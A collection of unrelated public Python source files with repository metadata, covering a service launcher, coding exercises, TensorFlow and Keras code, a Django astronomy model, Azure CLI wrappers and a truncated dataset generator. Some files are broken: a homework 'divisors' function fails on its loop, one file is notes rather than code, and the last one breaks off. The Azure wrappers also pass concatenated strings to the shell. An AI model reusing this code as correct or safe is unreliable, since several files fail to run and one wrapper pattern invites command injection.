[ "MIT", "GPL-1.0-or-later" ]
permissive
singnet/semantic-segmentation-aerial
7e731cda8f3a7c1dbb68a3fb0cf4e1561a424381
1fe9b63bdeafd9f81ec95a846b5a1510f32578f0
refs/heads/master
2020-05-02T05:35:28.314835
2019-04-09T11:04:13
2019-04-09T11:04:13
177,775,037
0
1
MIT
2019-04-09T11:04:14
2019-03-26T11:30:38
Python
UTF-8
Python
false
false
3,770
py
import argparse import glob import json import logging import os import pathlib import signal import subprocess import sys import time from service import registry logging.basicConfig(level=10, format="%(asctime)s - [%(levelname)8s] - %(name)s - %(message)s") log = logging.getLogger("run_semantic_segmentation_aerial_service") def main(): parser = argparse.ArgumentParser(description="Run services") parser.add_argument("--no-daemon", action="store_false", dest="run_daemon", help="do not start the daemon") parser.add_argument("--ssl", action="store_true", dest="run_ssl", help="start the daemon with SSL") args = parser.parse_args() root_path = pathlib.Path(__file__).absolute().parent # All services modules go here service_modules = ["service.semantic_segmentation_aerial_service"] # Call for all the services listed in service_modules all_p = start_all_services(root_path, service_modules, args.run_daemon, args.run_ssl) # Continuously checking all subprocesses while True: for p in all_p: p.poll() if p.returncode and p.returncode != 0: log.debug("Subprocess returned code: {}. Killing service and daemon.".format(p.returncode)) kill_processes(all_p) if p.returncode == 5: log.debug("Restarting!") all_p = start_all_services(root_path, service_modules, args.run_daemon, args.run_ssl) else: log.debug("Exiting!") exit(1) time.sleep(1) def start_all_services(cwd, service_modules, run_daemon, run_ssl): """ Loop through all service_modules and start them. For each one, an instance of Daemon "snetd" is created. snetd will start with configs from "snetd.config.json" """ all_p = [] for i, service_module in enumerate(service_modules): service_name = service_module.split(".")[-1] log.info("Launching {} on port {}".format(service_module, str(registry[service_name]))) all_p += start_service(cwd, service_module, run_daemon, run_ssl) for p in all_p: log.debug("Service {} started with PID {}".format(service_module, p.pid)) return all_p def start_service(cwd, service_module, run_daemon, run_ssl): """ Starts SNET Daemon ("snetd") and the python module of the service at the passed gRPC port. """ def add_ssl_configs(conf): """Add SSL keys to snetd.config.json""" with open(conf, "r") as f: snetd_configs = json.load(f) snetd_configs["ssl_cert"] = "/opt/singnet/.certs/fullchain.pem" snetd_configs["ssl_key"] = "/opt/singnet/.certs/privkey.pem" with open(conf, "w") as f: json.dump(snetd_configs, f, sort_keys=True, indent=4) all_p = [] if run_daemon: for idx, config_file in enumerate(glob.glob("./snetd_configs/*.json")): if run_ssl: add_ssl_configs(config_file) all_p.append(start_snetd(str(cwd), config_file)) service_name = service_module.split(".")[-1] grpc_port = registry[service_name]["grpc"] p = subprocess.Popen([sys.executable, "-m", service_module, "--grpc-port", str(grpc_port)], cwd=str(cwd)) all_p.append(p) return all_p def start_snetd(cwd, config_file=None): """ Starts the Daemon "snetd": """ cmd = ["snetd", "serve"] if config_file: cmd = ["snetd", "serve", "--config", config_file] return subprocess.Popen(cmd, cwd=str(cwd)) def kill_processes(all_p): for p in all_p: try: os.kill(p.pid, signal.SIGTERM) except Exception as e: log.error(e) if __name__ == "__main__": main()
[ "ramongduraes@gmail.com" ]
ramongduraes@gmail.com
6f4a22497ae14ada89eb32132e17f7bec24251cb
ff6248be9573caec94bea0fa2b1e4b6bf0aa682b
/StudentProblem/10.21.11.16/7/1569573907.py
cbf009c8a9c9a1fa8778de699f7b2208205bfaab
[]
no_license
LennartElbe/codeEvo
0e41b1a7705204e934ef71a5a28c047366c10f71
e89b329bc9edd37d5d9986f07ca8a63d50686882
refs/heads/master
2020-12-21T17:28:25.150352
2020-03-26T10:22:35
2020-03-26T10:22:35
236,498,032
0
0
null
null
null
null
UTF-8
Python
false
false
475
py
import functools import typing import string import random import pytest ## Lösung Teil 1. def divisors(n: int) -> list: start_lst = list(range(1, n+1)) teiler = [] for i, k in start_lst: if i % k == 0: teiler.append(k) return teiler ###################################################################### ## Lösung Teil 2. (Tests) print(divisors(20)) ######################################################################
[ "lenni.elbe@gmail.com" ]
lenni.elbe@gmail.com
26f2d1bab1848a901cb0659bbcd4ef8252ac6ddb
3625ad889a461e0893e5ff6a87cddb8ee15d9d7d
/Hackerrank/Algorithms/Problem_Solving/cut_the_sticks.py
00533de8fcb2ff76200c7aed329ded4117085698
[]
no_license
prateekiiest/Competitive-Programming-Algo-DS
dec8cdb2f0b7989264476dc82e460a6a3f11b9df
50eca64d2346d6664de0cb510874081962a425fe
refs/heads/master
2020-05-03T22:49:06.909307
2020-01-19T03:34:17
2020-01-19T03:34:17
178,850,703
7
1
null
2020-01-14T17:29:05
2019-04-01T11:40:54
Python
UTF-8
Python
false
false
359
py
# Problem Statement : https://www.hackerrank.com/challenges/cut-the-sticks #!/bin/python import sys n = int(raw_input().strip()) arr = map(int,raw_input().strip().split(' ')) while(arr !=[]): print(len(arr)) m = min(arr) for j in range(len(arr)): arr[j] -= m while(0 in arr): arr.remove(0)
[ "noreply@github.com" ]
prateekiiest.noreply@github.com
f8d0c5c753ad7ccabf9e7c86bcfbb6185ec5457b
ce76b3ef70b885d7c354b6ddb8447d111548e0f1
/number/problem_and_work/long_person_or_year.py
b73e563cf6e130a4db95d764f909eae8a01b9de5
[]
no_license
JingkaiTang/github-play
9bdca4115eee94a7b5e4ae9d3d6052514729ff21
51b550425a91a97480714fe9bc63cb5112f6f729
refs/heads/master
2021-01-20T20:18:21.249162
2016-08-19T07:20:12
2016-08-19T07:20:12
60,834,519
0
0
null
null
null
null
UTF-8
Python
false
false
206
py
#! /usr/bin/env python def great_part(str_arg): long_eye(str_arg) print('own_week_and_old_eye') def long_eye(str_arg): print(str_arg) if __name__ == '__main__': great_part('feel_woman')
[ "jingkaitang@gmail.com" ]
jingkaitang@gmail.com
365c627fb4954fed4a73f6275d7644a764b3efc2
d8c46a4e541bbc181831b85a32cc49038a2f5b17
/tests/test_data_utils/test_du_wide.py
c5005b252c71007760a53338f1f8b9fc5627a806
[ "MIT" ]
permissive
awesome-archive/pytorch-widedeep
d2146aafa215e25718721ea7f5a027cd6264ae3a
abb74df8cef8564d13743c309c9e158aacbcdb75
refs/heads/master
2023-08-09T21:32:27.149152
2019-11-14T22:46:52
2019-11-14T22:46:52
223,354,477
0
0
MIT
2020-01-13T04:36:56
2019-11-22T08:08:50
null
UTF-8
Python
false
false
2,189
py
import numpy as np import pandas as pd import pytest from pytorch_widedeep.preprocessing import WidePreprocessor def create_test_dataset(input_type, with_crossed=True): df = pd.DataFrame() col1 = list(np.random.choice(input_type, 3)) col2 = list(np.random.choice(input_type, 3)) df['col1'], df['col2'] = col1, col2 if with_crossed: crossed = ['_'.join([str(c1), str(c2)]) for c1,c2 in zip(col1, col2)] nuniques = df.col1.nunique() + df.col2.nunique() + len(np.unique(crossed)) else: nuniques = df.col1.nunique() + df.col2.nunique() return df, nuniques some_letters = ['a', 'b', 'c', 'd', 'e'] some_numbers = [1,2,3,4,5] wide_cols = ['col1', 'col2'] cross_cols = [('col1', 'col2')] ############################################################################### # Simple test of functionality making sure the shape match ############################################################################### df_letters, unique_letters = create_test_dataset(some_letters) df_numbers, unique_numbers = create_test_dataset(some_numbers) preprocessor1 = WidePreprocessor(wide_cols, cross_cols) @pytest.mark.parametrize('input_df, expected_shape', [ (df_letters, unique_letters), (df_numbers, unique_numbers) ] ) def test_preprocessor1(input_df, expected_shape): wide_mtx = preprocessor1.fit_transform(input_df) assert wide_mtx.shape[1] == expected_shape ############################################################################### # Same test as before but checking that all works when no passing crossed cols ############################################################################### df_letters_wo_crossed, unique_letters_wo_crossed = create_test_dataset(some_letters, with_crossed=False) df_numbers_wo_crossed, unique_numbers_wo_crossed = create_test_dataset(some_numbers, with_crossed=False) preprocessor2 = WidePreprocessor(wide_cols) @pytest.mark.parametrize('input_df, expected_shape', [ (df_letters_wo_crossed, unique_letters_wo_crossed), (df_numbers_wo_crossed, unique_numbers_wo_crossed) ] ) def test_prepare_wide_wo_crossed(input_df, expected_shape): wide_mtx = preprocessor2.fit_transform(input_df) assert wide_mtx.shape[1] == expected_shape
[ "jrzaurin@gmail.com" ]
jrzaurin@gmail.com
98d1cd1a9fb72344f4f3f4e437cf774c5b51a588
4a7ede06edbe66f9d1eb485261f94cc3251a914b
/test/pyaz/security/setting/__init__.py
eed74dfb019fcaa8df05a7d249e7140a118338a0
[ "MIT" ]
permissive
bigdatamoore/py-az-cli
a9e924ec58f3a3067b655f242ca1b675b77fa1d5
54383a4ee7cc77556f6183e74e992eec95b28e01
refs/heads/main
2023-08-14T08:21:51.004926
2021-09-19T12:17:31
2021-09-19T12:17:31
360,809,341
0
0
null
null
null
null
UTF-8
Python
false
false
963
py
import json, subprocess from ... pyaz_utils import get_cli_name, get_params def list(): params = get_params(locals()) command = "az security setting list " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def show(name): params = get_params(locals()) command = "az security setting show " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr)
[ "“bigdatamoore@users.noreply.github.com”" ]
“bigdatamoore@users.noreply.github.com”
1c30ba72a4d9693963319dac4acfa0264cfd3719
1f154f3ab10c1ea12f830026d5449e87a29b5c42
/PE17.py
00ea313c8e90592969d68fd94ccf784ad19b22a4
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
Cyborn13x/PE
e0e17f2142dea12ffc36a4b00c3089ad5312c10e
8e09bc67e863f597807d7adc08c7686b6234a9c4
refs/heads/master
2020-04-05T23:39:07.147492
2012-12-19T21:14:14
2012-12-19T21:14:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,993
py
__docformat__ = "restructuredtext en" import re _NUMBER_NAMES = {1: "one", 2: "two", 3: "three", 4: "four", 5: "five", 6: "six", 7: "seven", 8: "eight", 9: "nine", 10: "ten", 11: "eleven", 12: "twelve", 13: "thirteen", 14: "fourteen", 15: "fifteen", 16: "sixteen", 17: "seventeen", 18: "eighteen", 19: "nineteen", 20: "twenty", 21: "twenty-one", 22: "twenty-two", 23: "twenty-three", 24: "twenty-four", 25: "twenty-five", 26: "twenty-six", 27: "twenty-seven", 28: "twenty-eight", 29: "twenty-nine", 30: "thirty", 31: "thirty-one", 32: "thirty-two", 33: "thirty-three", 34: "thirty-four", 35: "thirty-five", 36: "thirty-six", 37: "thirty-seven", 38: "thirty-eight", 39: "thirty-nine", 40: "forty", 41: "forty-one", 42: "forty-two", 43: "forty-three", 44: "forty-four", 45: "forty-five", 46: "forty-six", 47: "forty-seven", 48: "forty-eight", 49: "forty-nine", 50: "fifty", 51: "fifty-one", 52: "fifty-two", 53: "fifty-three", 54: "fifty-four", 55: "fifty-five", 56: "fifty-six", 57: "fifty-seven", 58: "fifty-eight", 59: "fifty-nine", 60: "sixty", 61: "sixty-one", 62: "sixty-two", 63: "sixty-three", 64: "sixty-four", 65: "sixty-five", 66: "sixty-six", 67: "sixty-seven", 68: "sixty-eight", 69: "sixty-nine", 70: "seventy", 71: "seventy-one", 72: "seventy-two", 73: "seventy-three", 74: "seventy-four", 75: "seventy-five", 76: "seventy-six", 77: "seventy-seven", 78: "seventy-eight", 79: "seventy-nine", 80: "eighty", 81: "eighty-one", 82: "eighty-two", 83: "eighty-three", 84: "eighty-four", 85: "eighty-five", 86: "eighty-six", 87: "eighty-seven", 88: "eighty-eight", 89: "eighty-nine", 90: "ninety", 91: "ninety-one", 92: "ninety-two", 93: "ninety-three", 94: "ninety-four", 95: "ninety-five", 96: "ninety-six", 97: "ninety-seven", 98: "ninety-eight", 99: "ninety-nine"} _CHARACTERS_WE_CARE_ABOUT = re.compile("\w") def _words_from_num(num): """ Convert ``num`` to its (British) English phrase equivalent. If ``num`` is greater than 9,999 then raise an ``Exception``. >>> _words_from_num(115) 'one hundred and fifteen' """ if num >= 10000: raise Exception, 'This function only supports numbers less than 10000.' parts_list = [] if num >= 1000: thousands = num // 1000 parts_list.append(_NUMBER_NAMES[thousands]) parts_list.append(" thousand") num -= thousands * 1000 if num >= 100: hundreds = num // 100 parts_list.append(_NUMBER_NAMES[hundreds]) parts_list.append(" hundred") num -= hundreds * 100 if num: if parts_list: parts_list.append(" and") parts_list.extend([" ", _NUMBER_NAMES[num]]) return "".join(parts_list) def _count_characters_we_care_about(string_to_count): """ Count the characters in ``string_to_count``, excluding things like hyphens and spaces. >>> _count_characters_we_care_about("one hundred and twenty-three") 24 """ return len(_CHARACTERS_WE_CARE_ABOUT.findall(string_to_count)) def problem_17(upper_bound = 1000): """ Find the solution to `Problem 17`_ at `Project Euler`_. .. _Problem 17: http://projecteuler.net/index.php?section=problems&id=17 .. _Project Euler: http://projecteuler.net/ >>> problem_17(2) 6 """ converted_nums = (_words_from_num(num) for num in xrange(1, upper_bound + 1)) lengths = (_count_characters_we_care_about(phrase) for phrase in converted_nums) return sum(lengths) if __name__ == '__main__': print problem_17()
[ "zobayer1@gmail.com" ]
zobayer1@gmail.com
8939079c53a08d34a569651cdfae036e60ac4efe
b755c8897aef34b2ce71b0ee00215207c29a50a5
/src/zukebox/tests/__init__.py
0ace4cc0bc80741bac4fa7a8fb097ddfe3c4a71f
[ "MIT" ]
permissive
zanalaci/zukebox
d705eb082659a71cb87d48ddf9395a0bc348aab2
ed1694eba91be3053063fa553aa4139a90228c8a
refs/heads/master
2020-04-05T18:32:20.625164
2016-01-18T13:26:44
2016-01-18T13:26:44
49,878,392
0
1
null
2016-01-18T13:24:45
2016-01-18T13:24:45
null
UTF-8
Python
false
false
192
py
''' zukebox: tests module. Meant for use with py.test. Organize tests into files, each named xxx_test.py Read more here: http://pytest.org/ Copyright 2015, Tamas Domok Licensed under MIT '''
[ "domoktams@gmail.com" ]
domoktams@gmail.com
0b88f173868acd1d12a5be49bf9fa636bdcb0795
baa41ceeb7778900eeaed0ce9b64c16cc02727c6
/学习/mnist(4).py
2c47e86ca9561ac96bcddd86aac4aa0d318d8638
[]
no_license
FaskyCC/tensorflow
aea4ad11a889b8b60f8beed3a80aabbd9b34cc0a
1485293ded88b43bdae55d741cb92b7f49639c87
refs/heads/master
2020-04-06T11:13:42.164859
2019-03-18T01:28:59
2019-03-18T01:28:59
157,408,790
0
0
null
null
null
null
UTF-8
Python
false
false
3,807
py
import tensorflow as tf # 导入MNIST from tensorflow.examples.tutorials.mnist import input_data mnist = input_data.read_data_sets("MNIST_data/",one_hot = True) # 定义输入层、隐含层、输出层的神经元个数 input = 784 hidden1 = 300 output = 10 epoch_size = 50 batch_size = 1000 batch_num = int(mnist.train.num_examples/batch_size) dropout = 1 def add_layer(inputs, in_size, out_size, layer_name, activation_function = None): # 定义隐含层的权重、偏置、激活函数 with tf.name_scope(layer_name): with tf.name_scope("weight"): #Weights = tf.Variable(tf.random_uniform([in_size, out_size])-0.5) Weights = tf.Variable(tf.fill([in_size, out_size], 0.001)) tf.summary.histogram('Weight', Weights) with tf.name_scope("biase"): biases = tf.Variable(tf.zeros([1, out_size]) + 0.01) tf.summary.histogram('biases', biases) with tf.name_scope("Wx_b"): output = tf.matmul(inputs, Weights) + biases if activation_function is None: return output else: output = activation_function(output) return output # 定义输入层,keep_prob是dropout的比例 with tf.name_scope("input"): xs = tf.placeholder(tf.float32, [None, input]) ys = tf.placeholder(tf.float32, [None, output]) keep_prob = tf.placeholder(tf.float32) # 定义隐含层 layer1 = add_layer(xs, 784, 300, 'layer1', activation_function=tf.nn.relu) #定义输出层 prediction = add_layer(layer1, 300, 10, 'layer2', activation_function=tf.nn.softmax) # 定义损失函数———交叉熵 with tf.name_scope("loss"): cross_entropy = tf.reduce_mean(-tf.reduce_sum(ys * tf.log(tf.clip_by_value(prediction, 1e-10, 1.0)), reduction_indices = [1])) tf.summary.scalar('cross_entropy', cross_entropy) # 计算准确率 with tf.name_scope("accuracy"): correct_prediction = tf.equal(tf.argmax(prediction, 1), tf.argmax(ys, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) # 定义优化器和学习率 with tf.name_scope("train"): train_step = tf.train.GradientDescentOptimizer(0.3).minimize(cross_entropy) # 初始化所有的变量 init = tf.global_variables_initializer() # 开始导入数据,正式计算,迭代3000步,训练时batch size=100 with tf.Session() as sess: sess.run(init) merge = tf.summary.merge_all() writer = tf.summary.FileWriter("log", sess.graph) for i in range(epoch_size*batch_num+1): batch_xs, batch_ys = mnist.train.next_batch(batch_size) sess.run(train_step, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: dropout}) result = sess.run(merge, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: 1}) writer.add_summary(result, i) # 训练完加载测试集数据,进行测试 if i % 100 == 0: loss_run = sess.run(cross_entropy, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: dropout}) accuracy_run = sess.run(accuracy, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: dropout}) print('After %d steps training steps,The loss is %g and The accuracy is %g' % (i, loss_run, accuracy_run)) loss_run = sess.run(cross_entropy, feed_dict={xs: mnist.test.images, ys: mnist.test.labels, keep_prob: 1}) accuracy_run = sess.run(accuracy,feed_dict={xs: mnist.test.images,ys: mnist.test.labels, keep_prob: 1}) print('The loss in test dataset is %g and The accuracy in test dataset is %g' % (loss_run, accuracy_run)) accuracy_run = sess.run(accuracy, feed_dict={xs: mnist.test.images, ys: mnist.test.labels, keep_prob: 1}) print('The final accuracy in test dataset is %g' % (accuracy_run))
[ "1791853817@qq.com" ]
1791853817@qq.com
0ad6cc77e8705f974a1a89318b81f90fa9e1a6a2
24cf6d01fc9485c2e5578523bce6313aab47a30e
/Callbacks/snapshot.py
ed17d03d6c29c383cb9934faf19472a25dbe1a5e
[]
no_license
sahahn/GenDiagFramework
352212b2c540a6db73e810e416a9d3d4fa84f95a
29498d3667d644d5b3a8fd0f0e277cbdd14027ba
refs/heads/master
2020-04-14T06:10:10.609366
2019-06-18T20:22:31
2019-06-18T20:22:31
163,678,894
2
0
null
null
null
null
UTF-8
Python
false
false
3,037
py
import numpy as np import os import keras.callbacks as callbacks from keras.callbacks import Callback class SnapshotModelCheckpoint(Callback): """Callback that saves the snapshot weights of the model. Saves the model weights on certain epochs (which can be considered the snapshot of the model at that epoch). Should be used with the cosine annealing learning rate schedule to save the weight just before learning rate is sharply increased. # Arguments: nb_epochs: total number of epochs that the model will be trained for. nb_snapshots: number of times the weights of the model will be saved. fn_prefix: prefix for the filename of the weights. """ def __init__(self, nb_epochs, nb_snapshots, fn_prefix='Model'): super(SnapshotModelCheckpoint, self).__init__() self.check = nb_epochs // nb_snapshots self.fn_prefix = fn_prefix def on_epoch_end(self, epoch, logs={}): if epoch != 0 and (epoch + 1) % self.check == 0: filepath = self.fn_prefix + "-%d.h5" % ((epoch + 1) // self.check) self.model.save_weights(filepath, overwrite=True) #print("Saved snapshot at weights/%s_%d.h5" % (self.fn_prefix, epoch)) class SnapshotCallbackBuilder: """Callback builder for snapshot ensemble training of a model. Creates a list of callbacks, which are provided when training a model so as to save the model weights at certain epochs, and then sharply increase the learning rate. """ def __init__(self, nb_epochs, nb_snapshots, init_lr=0.1): """ Initialize a snapshot callback builder. # Arguments: nb_epochs: total number of epochs that the model will be trained for. nb_snapshots: number of times the weights of the model will be saved. init_lr: initial learning rate """ self.T = nb_epochs self.M = nb_snapshots self.alpha_zero = init_lr def get_callbacks(self, model_prefix='Model'): """ Creates a list of callbacks that can be used during training to create a snapshot ensemble of the model. Args: model_prefix: prefix for the filename of the weights. Returns: list of 3 callbacks [ModelCheckpoint, LearningRateScheduler, SnapshotModelCheckpoint] which can be provided to the 'fit' function """ if not os.path.exists('weights/'): os.makedirs('weights/') callback_list = [ callbacks.LearningRateScheduler(schedule=self._cosine_anneal_schedule), SnapshotModelCheckpoint(self.T, self.M, fn_prefix=model_prefix)] return callback_list def _cosine_anneal_schedule(self, t): cos_inner = np.pi * (t % (self.T // self.M)) # t - 1 is used when t has 1-based indexing. cos_inner /= self.T // self.M cos_out = np.cos(cos_inner) + 1 return float(self.alpha_zero / 2 * cos_out)# -*- coding: utf-8 -*-
[ "sahahn@uvm.edu" ]
sahahn@uvm.edu
0a1d1c3822ccedbd1f4744673b22edeea3b3e6ee
86b20a173952d1975e8cedd252f79da8bb1e44ce
/source/models.py
3a7f418d144769f749a9e9d3801468d4d37c4e48
[]
no_license
olegtropinin/gaia_data_api
8975e7580ce63a5156452afad356a6dab76336dd
b4e5db2401e7a80cf5e85407813ca2cf9e150adf
refs/heads/master
2022-12-06T16:08:10.212944
2020-08-24T06:12:35
2020-08-24T06:12:35
289,843,826
1
0
null
null
null
null
UTF-8
Python
false
false
5,837
py
from django.db import models # Create your models here. class GaiaSource(models.Model): # TODO: Go over all fields to do models.Choices or models.IntegerChoices. For example priam_flags. solution_id = models.PositiveBigIntegerField(help_text='1635721458409799680') designation = models.CharField(max_length=28, help_text='Gaia DR2 1000225938242805248') source_id = models.PositiveBigIntegerField(primary_key=True, help_text='1000225938242805248') random_index = models.PositiveIntegerField(help_text='1197051105') ref_epoch = models.CharField(max_length=6, null=True, help_text='2015.5') ra = models.FloatField(null=True) ra_error = models.FloatField(null=True) dec = models.FloatField(null=True) dec_error = models.FloatField(null=True) parallax = models.FloatField(null=True) parallax_error = models.FloatField(null=True) parallax_over_error = models.FloatField(null=True) pmra = models.FloatField(null=True) pmra_error = models.FloatField(null=True) pmdec = models.FloatField(null=True) pmdec_error = models.FloatField(null=True) ra_dec_corr = models.FloatField(null=True) ra_parallax_corr = models.FloatField(null=True) ra_pmra_corr = models.FloatField(null=True) ra_pmdec_corr = models.FloatField(null=True) dec_parallax_corr = models.FloatField(null=True) dec_pmra_corr = models.FloatField(null=True) dec_pmdec_corr = models.FloatField(null=True) parallax_pmra_corr = models.FloatField(null=True) parallax_pmdec_corr = models.FloatField(null=True) pmra_pmdec_corr = models.FloatField(null=True) astrometric_n_obs_al = models.PositiveSmallIntegerField(null=True, help_text='184') astrometric_n_obs_ac = models.PositiveSmallIntegerField(null=True, help_text='0') astrometric_n_good_obs_al = models.PositiveSmallIntegerField(null=True, help_text='181') astrometric_n_bad_obs_al = models.PositiveSmallIntegerField(null=True, help_text='3') astrometric_gof_al = models.FloatField(null=True) astrometric_chi2_al = models.FloatField(null=True) astrometric_excess_noise = models.FloatField(null=True) astrometric_excess_noise_sig = models.FloatField(null=True) astrometric_params_solved = models.PositiveSmallIntegerField(null=True, help_text='3 or 31') astrometric_primary_flag = models.BooleanField(null=True) astrometric_weight_al = models.FloatField(null=True) astrometric_pseudo_colour = models.FloatField(null=True) astrometric_pseudo_colour_error = models.FloatField(null=True) mean_varpi_factor_al = models.FloatField(null=True) astrometric_matched_observations = models.PositiveSmallIntegerField(null=True, help_text='21') visibility_periods_used = models.PositiveSmallIntegerField(null=True, help_text='10') astrometric_sigma5d_max = models.FloatField(null=True) frame_rotator_object_type = models.PositiveSmallIntegerField(null=True, help_text='0') matched_observations = models.PositiveSmallIntegerField(null=True, help_text='22') duplicated_source = models.BooleanField(null=True) phot_g_n_obs = models.PositiveSmallIntegerField(null=True, help_text='189') phot_g_mean_flux = models.FloatField(null=True) phot_g_mean_flux_error = models.FloatField(null=True) phot_g_mean_flux_over_error = models.FloatField(null=True) phot_g_mean_mag = models.FloatField(null=True) phot_bp_n_obs = models.PositiveSmallIntegerField(null=True, help_text='189') phot_bp_mean_flux = models.FloatField(null=True) phot_bp_mean_flux_error = models.FloatField(null=True) phot_bp_mean_flux_over_error = models.FloatField(null=True) phot_bp_mean_mag = models.FloatField(null=True) phot_rp_n_obs = models.PositiveSmallIntegerField(null=True, help_text='21') phot_rp_mean_flux = models.FloatField(null=True) phot_rp_mean_flux_error = models.FloatField(null=True) phot_rp_mean_flux_over_error = models.FloatField(null=True) phot_rp_mean_mag = models.FloatField(null=True) phot_bp_rp_excess_factor = models.FloatField(null=True) phot_proc_mode = models.PositiveSmallIntegerField(null=True, help_text='0, 1 or 2') bp_rp = models.FloatField(null=True) bp_g = models.FloatField(null=True) g_rp = models.FloatField(null=True) radial_velocity = models.FloatField(null=True) radial_velocity_error = models.FloatField(null=True) rv_nb_transits = models.PositiveSmallIntegerField(null=True, help_text='0') rv_template_teff = models.FloatField(null=True) rv_template_logg = models.FloatField(null=True) rv_template_fe_h = models.FloatField(null=True) phot_variable_flag = models.CharField(max_length=13, null=True, help_text='NOT_AVAILABLE') l = models.FloatField(null=True) b = models.FloatField(null=True) ecl_lon = models.FloatField(null=True) ecl_lat = models.FloatField(null=True) priam_flags = models.PositiveIntegerField(null=True, help_text='100001') teff_val = models.FloatField(null=True) teff_percentile_lower = models.FloatField(null=True) teff_percentile_upper = models.FloatField(null=True) a_g_val = models.FloatField(null=True) a_g_percentile_lower = models.FloatField(null=True) a_g_percentile_upper = models.FloatField(null=True) e_bp_min_rp_val = models.FloatField(null=True) e_bp_min_rp_percentile_lower = models.FloatField(null=True) e_bp_min_rp_percentile_upper = models.FloatField(null=True) flame_flags = models.PositiveIntegerField(null=True, help_text='200111') radius_val = models.FloatField(null=True) radius_percentile_lower = models.FloatField(null=True) radius_percentile_upper = models.FloatField(null=True) lum_val = models.FloatField(null=True) lum_percentile_lower = models.FloatField(null=True) lum_percentile_upper = models.FloatField(null=True)
[ "oleg@iptech.kz" ]
oleg@iptech.kz
3ff2599f16e8ef4b6964f06e4b62bec8ec230c2c
739f6d736ae008b13ffdc71e163c4a6b20baf50c
/inhan/점프투파이썬/chapter02/Inhan/1.py
c2eb2482f9efddce3269a17d820b6f5b6ed7be5f
[]
no_license
ingithub777/Guri
7862c606f731401d30ffaf6f1500c92ff1335625
5737146c1d0d0b76edc88db0e77a89791f29a9b5
refs/heads/master
2021-09-09T12:45:08.587169
2018-03-16T07:31:00
2018-03-16T07:31:00
111,864,366
0
0
null
null
null
null
UTF-8
Python
false
false
433
py
정수형 a=123 a=-178 a=0 실수형 a=1.2 a=-3.45 지수표현방식 a=4.24E10 a=4.24e-10 8진수와 16진수 a=0o177 a=0x8ff a=0xabc 복소수 a=1+2j b=3-4j 복소수.real a=1+2j a.real 1.0 복소수.imag a=1+2j a.imag 2.0 복소수.conjugate() a=1+2j a.conjugate() (1-2j) abs복소수 a=1+2j abs(a) 2.2360679774997898 사칙연산 a=3 b=4 a+b 7 a*b 12 a/b 0.75 x의 y제곱을 나타내는 ** 연산자 a=3 b=4 a**b 81
[ "rladlsgks4@naver.com" ]
rladlsgks4@naver.com
cc5e8dc5903e1d0352fb1da8f5664b9b528c2fd8
08d256c60ac584185781ddb303c4eca90ced6cdb
/generate_datasets.py
e39f54aee59767d95edfc40b7cf04497e4a43eb8
[]
no_license
bootphon/phonrulemodel
b8c191b59c18d46353245917ea52d5b9612c3dd2
dadf444a90ce7200a430bca8754bd6c742975a1a
refs/heads/master
2021-01-10T14:18:02.212832
2015-05-29T10:14:24
2015-05-29T10:14:24
36,012,459
1
0
null
null
null
null
UTF-8
Python
false
false
9,888
py
""" generate datasets """ from __future__ import division from collections import defaultdict from itertools import chain, product import cPickle as pickle import numpy as np from scipy.stats import multivariate_normal from util import verb_print import csv import glob import os.path as path import pandas as pd def constcorr(X): """Calculate the constant correlation matrix. Parameters ---------- X : ndarray (nsamples, nfeatures) observations Returns ------- constant correlation matrix of X Notes ----- "Honey, I shrunk the sample covariance matrix", Ledoit and Wolf """ N, D = X.shape X_ = X - X.mean(0) # centered samples s = np.dot(X_.T, X_) / (N-1) # sample covariance d = np.diag(s) sq = np.sqrt(np.outer(d, d)) d = s / sq # sample correlation r = np.triu(d, 1).sum() * 2 / ((N-1)*N) # average correlation f = r * sq f[np.diag_indices(D)] = np.diag(s) return f def transform_estimates(d, mean_dispersal_factor=1, cov_shrink_factor=0): """Manipulate the estimated distributions by shrinking the covariance or dispersing the means from their center point. Parameters ---------- d : dict from phone to condition to rv_continuous estimated distributions cov_shrink_factor : float in [0, 1] interpolation factor between the estimated covariance and the constant correlation matrix. if `shrink_factor`==0, no further shrinkage is performed, if 1, the constant correlation matrix is used instead of covariance. mean_dispersal_factor : float the means of the classes can be brought further apart or closer together by this factor. Returns ------- dict from phone to condition to rv_continuous transformed distributions """ if mean_dispersal_factor == 1 and cov_shrink_factor == 0: return d means = defaultdict(dict) covs = defaultdict(dict) for phone in d: for condition in d[phone]: means[phone][condition] = d[phone][condition].mean cov = d[phone][condition].cov if cov_shrink_factor > 1: cov *= (1-cov_shrink_factor) covs[phone][condition] = cov if mean_dispersal_factor != 1: center = np.vstack([means[phone][condition] for phone in means for conditions in means[phone]]).mean(0) means = {p: {c: (means[p][c]-center)*mean_dispersal_factor + center for c in means[p]} for p in means} return {phone: {cond: multivariate_normal(mean=means[phone][cond], cov=covs[phone][cond]) for cond in d[phone]} for phone in d} def resample(d, n): return {p: {c: d[p][c].rvs(size=n) for c in d[p]} for p in d} def generate_test(df_test, estimates, nsamples, output, mean_dispersal_factor=1, cov_shrink_factor=0, verbose=False): with verb_print('transforming distributions', verbose=verbose): estimates = transform_estimates(estimates, mean_dispersal_factor, cov_shrink_factor) samples = resample(estimates, nsamples) """ x1 x2 y setting x1_c1 x1_v x1_c2 x2_c1 x2_v x2_c2 0 FIN-ADS ZUL-ADS 1 ADS F I N Z U L """ df_x1_c1 = df_test['c1'].values df_x1_v = df_test['v'].values df_x1_c2 = df_test['c2'].values df_x2_c1 = df_test['c1'].values df_x2_v = df_test['v'].values df_x2_c2 = df_test['c2'].values df_y = df_test['y'].values setting = df_test['setting'].values x1_c1s = [] x1_vs = [] x1_c2s = [] x1_ys = [] x2_c1s = [] x2_vs = [] x2_c2s = [] x2_ys = [] for i in range(len(df_c1)): x1_c1 = 